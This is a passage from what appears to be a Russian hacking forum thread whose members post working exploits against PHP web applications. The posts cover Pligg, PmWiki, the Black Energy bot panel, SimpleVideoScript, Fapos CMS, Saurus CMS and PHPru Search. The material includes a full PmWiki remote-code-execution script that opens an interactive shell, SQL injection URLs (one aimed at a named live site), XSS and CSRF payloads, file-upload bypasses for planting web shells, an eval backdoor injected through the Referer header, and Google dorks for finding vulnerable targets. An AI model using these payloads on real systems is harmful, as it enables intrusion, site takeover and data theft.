    http://pligg/story.php?title=qwe' AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(116,97,103,115) AND table_schema=CHAR(119,101,98,49,95,100,98,53)),1,1)) > 52 AND 'AOOt'='AOOt
    for example
    Shell Upload
    vurnel code
    PHP:
    if ($my_base_url == ''){
        
    define('my_base_url'"http://" $_SERVER["HTTP_HOST"]);
        if(isset(
    $_REQUEST['action'])){$action sanit($_REQUEST['action']);}else{$action="";}
        
        
    $pos strrpos($_SERVER["SCRIPT_NAME"], "/");
        
    $path substr($_SERVER["SCRIPT_NAME"], 0$pos);
        if (
    $path == "/"){$path "";}

        
    define('my_pligg_base'$path);
        
    $my_pligg_base $path;
    } else {
        
    define('my_base_url'$my_base_url);
        
    define('my_pligg_base'$my_pligg_base);
    }

    define('urlmethod'$URLMethod);

    if(isset(
    $_COOKIE['template'])){
        
    $thetemp str_replace('..','',sanit($_COOKIE['template']));


    // template check
    $file dirname(__FILE__) . '/templates/' $thetemp "/pligg.tpl";
    unset(
    $errors);
    if (!
    file_exists($file)) { $errors[]='You may have typed the template name wrong or "'$thetemp '" does not exist. Click <a href = "admin/admin_config.php?page=Template">here</a> to fix it.'; }
    if (isset(
    $errors)) {
        
    $thetemp "wistie";
        
    $file dirname(__FILE__) . '/templates/' $thetemp "/pligg.tpl";
        if (!
    file_exists($file)) {echo 'The default Wistie template does not exist anymore. Please fix this by reuploading the Wistie template!'; die();}

        foreach (
    $errors as $error) {
            
    $output.="<p><b>Error:</b> $error</p>\n";
            }        
        
        if (
    strpos($_SERVER['SCRIPT_NAME'], "admin_config.php") == && strpos($_SERVER['SCRIPT_NAME'], "login.php") == 0){
            echo 
    "<p><b>Error:</b> $error</p>\n";
             die();
        }
    }
    PHP:
        $view = isset($_GET['view']) && sanitize($_GET['view'], 3) != '' sanitize($_GET['view'], 3) : 'profile';
        if (
    $view=='setting' && $truelogin!=$login)
            
    $view 'profile';

        
    $page_header $user->username;
        
    $post_title $main_smarty->get_config_vars('PLIGG_Visual_Breadcrumb_Profile') . " | " $login;

        
    $main_smarty->assign('user_view'$view);

        if (
    $view == 'profile') {
            
    do_viewfriends($user->id);
            
    $main_smarty->assign('view_href''');
            
    $main_smarty->assign('nav_pd'4);
        } else {
            
    $main_smarty->assign('nav_pd'3);
            }

        if (
    $view == 'voted') {
            
    $page_header .= ' | ' $main_smarty->get_config_vars('PLIGG_Visual_User_NewsVoted');
            
    $navwhere['text3'] = $main_smarty->get_config_vars('PLIGG_Visual_User_NewsVoted');
            
    $post_title .= " | " $main_smarty->get_config_vars('PLIGG_Visual_User_NewsVoted');
            
    $main_smarty->assign('view_href''voted');
            
    $main_smarty->assign('nav_nv'4);
         } else {
            
    $main_smarty->assign('nav_nv'3);
            }    

        if (
    $view == 'history') {
            
    $page_header .= ' | ' $main_smarty->get_config_vars('PLIGG_Visual_User_NewsSent');
            
    $navwhere['text3'] = $main_smarty->get_config_vars('PLIGG_Visual_User_NewsSent');
            
    $post_title .= " | " $main_smarty->get_config_vars('PLIGG_Visual_User_NewsSent');
            
    $main_smarty->assign('view_href''submitted');
            
    $main_smarty->assign('nav_ns'4);
         } else {
            
    $main_smarty->assign('nav_ns'3);
            }

        if (
    $view == 'setting'
        {
            
            
    $usercategorysql "SELECT * FROM " table_users " where user_login = '".$db->escape($login)."' ";
            
    $userresults $db->get_results($usercategorysql);
            
    $userresults object_2_array($userresults);
            
    $get_categories $userresults['0']['user_categories'];
            
    $user_categories explode(","$get_categories);
            
            
    $categorysql "SELECT * FROM " table_categories " where category__auto_id!='0' ";
            
    $results $db->get_results($categorysql);
            
    $results object_2_array($results);
            
    $category = array();
            foreach(
    $results as $key => $val)
            {
                
    $category[] = $val['category_name'];
                
            }
            
    $sor $_GET['err'];
            if(
    $sor == 1)
            {
                
    $err "You have to select at least 1 category";
                
    $main_smarty->assign('err'$err);
            }
            
            
    $main_smarty->assign('category'$results);
            
    $main_smarty->assign('user_category'$user_categories);
            
    $main_smarty->assign('view_href''submitted');

            if (
    Allow_User_Change_Templates)
            {
                
    $dir "templates";
                
    $templates = array();
                foreach (
    scandir($dir) as $file)
                    if (
    strstr($file,".")!==&& file_exists("$dir/$file/header.tpl"))
                    
    $templates[] = $file;
                
    $main_smarty->assign('templates'$templates);
                
    $main_smarty->assign('current_template'sanitize($_COOKIE['template'],3));
                
    $main_smarty->assign('Allow_User_Change_Templates'Allow_User_Change_Templates);
            }
        
            
    $main_smarty->assign('nav_set'4);
    PHP:
            // check for redirects
            
    include(mnminclude.'redirector.php');
            
    $x = new redirector($_SERVER['REQUEST_URI']);

            
    header("Location: $my_pligg_base/404error.php");
    //        $main_smarty->assign('tpl_center', '404error');
    //        $main_smarty->display($the_template . '/pligg.tpl');        
            
    die();
        }

        
    // Hide private group stories
        
    if ($link->link_group_id)
        {
            
    $privacy $db->get_var("SELECT group_privacy FROM " table_groups " WHERE group_id = {$link->link_group_id}");
            if (
    $privacy == 'private' && !isMember($link->link_group_id))
            {
            die(
    'Access denied');
            }
        }

        if(isset(
    $_POST['process']) && sanitize($_POST['process'], 3) != ''){
            if (
    sanitize($_POST['process'], 3)=='newcomment') {
                
    check_referrer();
            
                
    $vars = array('user_id' => $link->author,'link_id' => $link->id);
                
    check_actions('comment_subscription'$vars);
                
    insert_comment();
            }
        }
    PHP:
    $requestID = isset($_GET['id']) && is_numeric($_GET['id']) ? $_GET['id'] : 0

    if(isset(
    $_GET['title']) && sanitize($_GET['title'], 3) != ''){$requestTitle sanitize($_GET['title'], 3);}
    // if we're using "Friendly URL's for categories"
    if(isset($_GET['category']) && sanitize($_GET['category'], 3) != ''){$thecat $db->get_var("SELECT category_id FROM " table_categories " WHERE `category_safe_name` = '".$db->escape(urlencode(sanitize($_GET['category'], 3)))."';");}

    if(
    $requestID && enable_friendly_urls == true){
        
    // if we're using friendly urls, don't call /story.php?id=XX  or /story/XX/
        // this is to prevent google from thinking it's spam
        // more work needs to be done on this

        
    $link = new Link;
        
    $link->id=$requestID;
        if(
    $link->read() == false || ($thecat>&& $link->category!=$thecat)){
            
    header("Location: $my_pligg_base/404error.php");
    //        $main_smarty->assign('tpl_center', '404error');
    //        $main_smarty->display($the_template . '/pligg.tpl');        
            
    die();
        }

        
    $url getmyurl("storyURL"$link->category_safe_name($link->category), urlencode($link->title_url), $link->id);

        
    Header"HTTP/1.1 301 Moved Permanently" );
        
    Header"Location: " $url );
        
        die();
    }
    PHP:
    // AFFERO GENERAL PUBLIC LICENSE is also included in the file called "COPYING".

    function str_ends_with($haystack$needle) {
        return ( 
    substr ($haystack, -strlen ($needle) ) === $needle) || $needle === '';
    }

    /* If the URL is too verbose (specifying index.php or page 1), then, of course
     * we just want the main page, which defaults to page 1 anyway. */
    $url parse_url ($_SERVER['REQUEST_URI']);
    if (
    strpos($_SERVER['REQUEST_URI'],'index.php') !== false || ( isset ($_GET['page']) && $_GET['page'] == 1))
    {
        
    header("HTTP/1.1 301 Moved Permanently");
        
    $_SERVER['QUERY_STRING'] = str_replace('page=1','',$_SERVER['QUERY_STRING']);
        
    header ("Location: ./".($_SERVER['QUERY_STRING'] ? '?'.$_SERVER['QUERY_STRING'] : ''));
        exit;
    }
    elseif (
    str_ends_with($url['path'], '/page/1') || str_ends_with($url['path'], '/page/1/'))
    {
        
    header("HTTP/1.1 301 Moved Permanently");
        
    header ("Location: ../".($_SERVER['QUERY_STRING'] ? '?'.$_SERVER['QUERY_STRING'] : ''));
        exit;
    }
     
    2 people like this.
  13. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    Dork: inurl:"pmwiki.php" Результатов: примерно 1 860 000 (0,08 сек.) ;)

    Exploit:
    PHP:
    <?php
    error_reporting
    (0); 
    set_time_limit(0); 
    ini_set("default_socket_timeout"5); 
      
    function 
    http_send($host$packet

        if (!(
    $sock fsockopen($host80))) 
            die(
    "\n[-] No response from {$host}:80\n"); 
       
        
    fputs($sock$packet); 
        return 
    stream_get_contents($sock); 

      
    print 
    "\n+------------------------------------------------------------+"
    print 
    "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |"
    print 
    "\n+------------------------------------------------------------+\n"
      
    if (
    $argc 3

        print 
    "\nUsage......: php $argv[0] <host> <path>\n"
        print 
    "\nExample....: php $argv[0] localhost /"
        print 
    "\nExample....: php $argv[0] localhost /pmwiki/\n"
        die(); 

      
    $host $argv[1]; 
    $path $argv[2]; 
      
    $phpcode "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#"
    $payload "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)"
      
    $packet  "POST {$path}pmwiki.php HTTP/1.0\r\n"
    $packet .= "Host: {$host}\r\n"
    $packet .= "Content-Length: ".strlen($payload)."\r\n"
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"
    $packet .= "Connection: close\r\n\r\n{$payload}"
      
    if (!
    preg_match("/Location/"http_send($host$packet))) die("\n[-] Edit password required?!\n"); 
      
    $packet  "POST {$path}pmwiki.php HTTP/1.0\r\n"
    $packet .= "Host: {$host}\r\n"
    $packet .= "Cmd: %s\r\n"
    $packet .= "Content-Length: 11\r\n"
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"
    $packet .= "Connection: close\r\n\r\nn=Cmd.Shell"
      
    while(
    1

        print 
    "\npmwiki-shell# "
        if ((
    $cmd trim(fgets(STDIN))) == "exit") break; 
        
    $response http_send($hostsprintf($packetbase64_encode($cmd))); 
        
    preg_match("/\n\r\n(.*)___/s"$response$m) ? print $m[1] : die("\n[-] Exploit failed!\n"); 

      
    ?>
    Уязвимый код:
    PHP:
    $code ''
    foreach(
    $opt['=order'] as $o => $r) { 
    if (@
    $PageListSortCmp[$o])  
    $code .= "\$c = {$PageListSortCmp[$o]}; ";  
    else  
    $code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); "
    $code .= "if (\$c) return $r\$c;\n"

    StopWatch('PageListSort sort'); 
    if (
    $code)  
    uasort($list
    create_function('$x,$y'"global \$PCache; $code return 0;")); 
    StopWatch('PageListSort end');
    P.S. Без авторизации проходит только на нескольких сайтах, а в остальных нужно авторизоватся и добавить в пакет ваш User-Agent и Cookie. Т.е.
    PHP:
    $packet .= "User-Agent: bla-bla\r\n"
    $packet .= "Cookie: blabla=6gui67gg7t76rf7iiiirvr76r67v\r\n"
    Кто допер, тот допер...
     
    #473 tabletkO, 27 Nov 2011
    Last edited: 27 Nov 2011
  14. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Уязвимости админ панели у Black Energy ddos bot
    1) Версия 1.92
    Возможно раскрытие путей через session_start();, для этого в PHPSESSID установите !@#$%@#@
    При magic_quotes_gpc = off возможна sql inj в REPLACE INTO
    Уязвимый код в index.php:
    PHP:
      if (isset($_POST['opt']))
      {
           if (!isset(
    $_POST['opt']['spoof_ip']))
                
    $_POST['opt']['spoof_ip'] = 0;

           foreach (
    array_keys($_POST['opt']) as $k) {
                
    db_query("REPLACE INTO `opt` (`name`, `value`) VALUES ('$k', '{$_POST['opt'][$k]}')");
                
    header("location: index.php");
           }
      }
    ....

      
    $r db_query("SELECT * FROM `opt`");
      while (
    $f mysql_fetch_array($r))
           
    $opt[$f['name']] = $f['value'];  
    Есть мини сплоент :D
    PHP:
    echo post("http://127.0.0.1/be/www/index.php","opt[cmd'/*]=*/, (select version()) ) -- 1",'');

    function 
    post($url,$post,$refer) { 
          
    $ch curl_init($url); 
           
    curl_setopt($chCURLOPT_USERAGENT"Opera/9.61 (Windows NT 5.1; U; Edition Campaign 05; en) Presto/2.1.1");
           
    curl_setopt($chCURLOPT_POST1); 
           
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIE"PHPSESSID=7ea3b2c1f4150f4948555ac26263dd33;"); // нужно указать свой для авторизации
           
    curl_setopt($chCURLOPT_FOLLOWLOCATIONfalse); 
           
    curl_setopt($chCURLOPT_RETURNTRANSFERfalse); 
          
    $answer  curl_exec($ch); 
            return 
    $answer
        }  
    Кстати, если есть доступ к северу с сайта соседа и место хранения сессий одинаковое (/tmp/ например) сессию можно легко подделать. Там не проверяются логин и пароль, а проверяется auth на значение true
    PHP:
    if (isset($_SESSION['auth'])) header("location: index.php");
    Для этого создаете в хранилище файл с названием sess_123456 и содержанием auth|b:1; , после чего в Cookie подменяете PHPSESSID на 123456.
    При использовании мультибайтовой кодировки в бд возможна еще иньекция в stat.php через addslashes(), но это думаю очень повезти должно.
    2) Версия v1.8_VIP
    Обход авторизации
    Уязвимый код в index.php:
    PHP:
                $logined = @$_COOKIE['logined'];
                if (
    $logined === $pass)
                {
                      
    $logined true;
                }
    В cookie достаточно установить logined с любым значением и авторизация пройдет.

    В админке есть 3 sql inj, через INSERT,DELETE и есть через REPLACE которая описана выше.
    Опишу sql inj через insert
    Уязвимый код в index.php:
    PHP:
        case "add":
                if (empty(
    $_POST['url']))
                break;

                if (isset(
    $_POST['country'])) $_POST['country'] = strtoupper($_POST['country']);

                
    $sql "INSERT INTO `files`
                        (`url`, `dnum`, `country`)
                        VALUES
                        ('
    {$_POST['url']}', '".intval($_POST['dnum'])."', '{$_POST['country']}')
                "
    ;

                
    mysql_query($sql);
                
    header ("location: index.php");
                break;
    Для эксплатации в
    url пишем test' /*
    в for country: пишем */ ,'1', (select version()) )--

    Тут есть маленький подвох еще, длина поля country (в котором вывод) всего 10 символов, так что крутить придется выдирая данные частями либо через ошибку.
     
    3 people like this.
  15. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    SimpleVideoScript (на данный момент последняя версия)
    Оф. сайт: http://www.bonkenscripts.com/

    Раскрытие путей:
    Code:
    Раскрытие путей через session_start() в admin.php
    http://127.0.0.1/video/videos/watch.php?id[]=111
    
    пассивная xss через $_SERVER['PHP_SELF'] в шаблоне
    Code:
    http://127.0.0.1/video/index.php/'><script>alert(/xss/)<script><'
    http://127.0.0.1/video/page.php/'><script>alert(/xss/)</script><'
    
    Sql Inj в videos/watch.php
    Зависимости: magic_quotes_gpc = off и register_globals = on
    Уязвимый код:
    PHP:
    $result mysql_query("SELECT * from videos where id = '$video_id'");

    while (
    $row mysql_fetch_array($result))
    {
    $description $row["video_description"];
    $keywords $row["video_keywords"];
    $title $row["video_name"];
    mysql_real_escape_string($widget_code);
    }

    $video_id $_GET["id"];
    как видим $video_id в момент нашего запроса еще не определена поэтому возможна инъекция
    Exploit:
    Code:
    http://site.ru/videos/watch.php?id=111&video_id=-111'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--+
    
    но и дальше $video_id никак не фильтруется

    PHP:
    $video_id $_GET["id"];
    $client_ip $_SERVER['REMOTE_ADDR'];
    $date date("D, d M Y");
    $result mysql_query("SELECT * from visitor_views where visited_id = '$video_id' AND hostname = '$client_ip' AND date = '$date'");
    поэтому есть еще одна sql inj которой register_globals = on не нужен
    Exploit:
    Code:
    http://site.ru/videos/watch.php?id=111'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--+
    
    Есть еще инъекции в insert и update но они не так интересны. Пароли от админки лежат в файле settings.php. Админка дырявая как сито, она прямо вся в sql inj, разумеется чтобы воспользоваться ими нужен доступ в админку. Имея доступ к админ панели можно сотворить активную xss в описании к видео или неких деталях сайта (название, мета кейворды, рекламный блок), там ничего не фильтруется. Админ панель кстати подвержена CSRF уязвимостям, например если заманить админа на такой скрипт
    PHP:
    <html><body><center>
    <
    form id="form" action="http://127.0.0.1/video/admin.php?select=settings_change" method="post">
    <
    input type="text" value="<script>alert(/hello world/)</script>" name="domain">
    <
    input type="submit" class="button" value="Добавить">
    </
    form>

    <
    script type="text/javascript">
        
    document.forms["form"].submit();
    </script>
    </center></body></html>
    то получим активную xss на главной ;)
     
    2 people like this.
  16. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Dork: intext:"Website by Bonken"

    Пример инъекции:

    Code:
    _ttp://3gtv.dk/videos/watch.php?id=111'+union+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13+and+'a'='b
     
    _________________________
  17. Drager

    Drager Member

    Joined:
    2 Nov 2011
    Messages:
    12
    Likes Received:
    16
    Reputations:
    32
    Fapos CMS 1.3 RC3

    Fapos CMS 1.3 RC3
    Forum Module 1.5.3.7
    Dork: Сайт управляется Бесплатной CMS Fapos

    File Upload в модуле Forum [\modules\forum\index.php].

    При добавлении новой темы:
    Code:
     private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS'); 
    
                             if (!empty($_FILES[$attach_name]['name'])) {  
                                     // Извлекаем из имени файла расширение  
                                     $ext = strrchr($_FILES[$attach_name]['name'], ".");  
                                     // Формируем путь к файлу  
                                     if (in_array( $ext, $extentions))  
                                             $file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';  
                                     else  
                                             $file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;  
                                     $is_image = (in_array($ext, $img_extentions)) ? 1 : 0;  
                                     // Перемещаем файл из временной директории сервера в директорию files  
                                     if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {  
                                             chmod(R . 'sys/files/forum/' . $file, 0644);  
    При добавлении нового поста прикрепленным файлом:
    Code:
    private $denyExtentions = array('.php', '.phtml', '.php3', '.html', '.htm', '.pl', '.PHP', '.PHTML', '.PHP3', '.HTML', '.HTM', '.PL', '.js', '.JS')
    
                                     if (!empty($_FILES[$attach_name]['name'])) {  
                                             // Извлекаем из имени файла расширение  
                                             $ext = strrchr($_FILES[$attach_name]['name'], ".");  
                                             // Формируем путь к файлу  
                                             if (in_array( $ext, $extentions) || empty($ext)) {  
                                                     $file = $post_id . '-' . $i . '-' . date("YmdHi") . '.txt';  
                                             } else {  
                                                     $file = $post_id . '-' . $i . '-' . date("YmdHi") . $ext;  
                                             }          
                                             $is_image = 0;  
                                             if ($_FILES[$attach_name]['type'] == 'image/jpeg'  
                                             || $_FILES[$attach_name]['type'] == 'image/jpg'  
                                             || $_FILES[$attach_name]['type'] == 'image/gif'  
                                             || $_FILES[$attach_name]['type'] == 'image/png') {  
                                                     $is_image = 1;  
                                             }  
       
                                             // Перемещаем файл из временной директории сервера в директорию files  
                                             if (move_uploaded_file($_FILES[$attach_name]['tmp_name'], R . 'sys/files/forum/' . $file)) {  
                                                     chmod(R . 'sys/files/forum/' . $file, 0644);  
    После загрузки шелл будет:
    Code:
    [target]/sys/files/forum/$post_id-$i-date("YmdHi").[COLOR=Red][B]pHp[/B][/COLOR] [Имя файла можно посмотреть в созданном вами посте]
    Еще забавная штука: если разрешено оставлять комментарии юзеру с правами "Гость", можно комментировать от любого имени (даже админского =)).
     
    2 people like this.
  18. Drager

    Drager Member

    Joined:
    2 Nov 2011
    Messages:
    12
    Likes Received:
    16
    Reputations:
    32
    Saurus CMS CE Version 4.7 @ 01.12.2011 [http://www.saurus.info/get-saurus-cms/]

    HTTP Response Splitting/Path Disclosure
    Уязвимость существует при обработке входных данных в параметре "url" сценария "redirect.php" [/editor/redirect.php].

    Code:
    if($_GET['url'])
    {
    	$url = urldecode($_GET['url']);
    
    	//prevent Response Splitting attack
    	$url = preg_replace("!\r|\n.*!s", "", $url);
    	
    	header('Location: '.[COLOR=Red]$_GET['url'][/COLOR]);
    }
    else 
    {
    	header('Location: index.php');
    }
    Code:
    http://[host1]/sau/editor/redirect.php?url=http://[host2]/target.php[B][COLOR=Blue]%0d%0aSet-Cookie: Name=Value[/COLOR][/B]
    Интерпретатор PHP содержит защиту от атак, начиная с версий 4.4.2 и 5.1.2.
    В виду того, что у меня в наличии имеется только версия PHP Version 5.2.12, попробовать не удалось.

    Поэтому, Path Disclosure:
    Code:
    http://www.saurus.info/editor/redirect.php?url=[COLOR=Blue]%0D%0ALocation:%20http://www.google.com[/COLOR]
    [COLOR=Orange][B]=>[/B][/COLOR]  Warning: Header may not contain more than a single header, new line detected. in /data01/virt2962/domeenid/www.saurus.ee/htdocs/editor/redirect.php on line 88
    Code:
    [COLOR=DarkOrange][U]Path Disclosure: Illegal Session Injection[/U][/COLOR]
    Пишем вместо PHPSESSID всякую #$&%^**(@#:
    [COLOR=Orange][B]=>[/B][/COLOR]  Warning: session_start() [function.session-start]: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /data01/virt2962/domeenid/www.saurus.ee/htdocs/index.php on line 236
    Способы заливки шеллов опубликованы: [#_1] [#_2]
     
    3 people like this.
  19. Drager

    Drager Member

    Joined:
    2 Nov 2011
    Messages:
    12
    Likes Received:
    16
    Reputations:
    32
    Fapos CMS 1.3 RC3

    Foto Module
    Dork: Сайт управляется Бесплатной CMS Fapos

    File Upload в модуле Foto [/foto/add_form/], при добавлении нового материала в фотокаталог. Обход проверки осуществляется подделкой Сontent-Type.

    Code:
    /* check file */ 
    if (empty($_FILES['foto']['name'])) {
    $error = $error .'<li>'.__('Not attaches').'</li>'. "\n";  		
    } else {
    if ($_FILES['foto']['size'] > Config::read('max_file_size', 'foto'))
    $error = $error .'<li>'. sprintf(__('Wery big file2'), Config::read('max_file_size', 'foto')/1000) .'</li>'."\n"; 
    if ($_FILES['foto']['type'] != 'image/jpeg' && 
    $_FILES['foto']['type'] != 'image/gif' && 
    //$_FILES['foto']['type'] != 'image/bmp' && 
    $_FILES['foto']['type'] != 'image/png') 
    $error = $error .'<li>'.__('Wrong file format').'</li>'."\n"; 
    }
    Шелл будет находиться:
    HTML:
    http://[target]/sys/files/foto/full/[№file].php
     
    3 people like this.
  20. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    PHPru Search v.2.6
    Произвольное выполнение php кода
    Уязвимый код в index.php
    PHP:
    $NEW time().'^^'.$searchstring.'^^'.$_SERVER["HTTP_REFERER"].'^^'.$IP."\r\n";
    PHPruSave($NEW,'sinc/query.php','a+');
    Для эксплуатации уязвимости нужно выполнить поиск по сайту с любым кейвордом при этом подделав свой реффер например через плагин tamper data для файрфокса на что то типа такого
    PHP:
    <?php eval(stripslashes($_REQUEST['cmd'])); ?>
    после чего идем сюда:
    Code:
    http://127.0.0.1/phprusearch/sinc/query.php?cmd=phpinfo();
    
    и делаем уже с бекдором то что хотим :)
     
    2 people like this.